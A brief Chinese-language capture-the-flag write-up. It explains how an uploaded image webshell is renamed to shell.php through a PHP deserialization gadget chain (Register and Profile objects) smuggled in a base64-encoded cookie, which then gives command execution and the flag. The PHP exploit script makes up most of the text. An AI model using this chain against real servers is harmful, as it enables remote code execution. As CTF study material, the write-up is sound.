这里首先想到的就是上传木马，但是经过尝试只能上传图片马，并且不能直接利用，经过抓包发现cookie是序列化内容，所以应该是通过cookie传递序列化内容，经过服务器的反序列化，然后对图片进行重命名操作，进而获得shell
生成序列化cookie
<?php
class Profile
{
public $checker = 0;
public $filename_tmp = "../public/upload/857df6c0d34905192d9590ee20956813/a7c3ce076585477741d951d179ab07dc.png";//上传的图片马地址
public $filename = "../public/upload/857df6c0d34905192d9590ee20956813/shell.php"; //生成的shell地址
public $upload_menu;
public $ext = 1;
public $img;
public $except = array('index' => 'upload_img');
}
class Register
{
public $checker;
public $registed = 0;
}
$a = new Register();
$a->checker = new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
?>替换cookie后，访问shell.php 执行命令，拿到flag
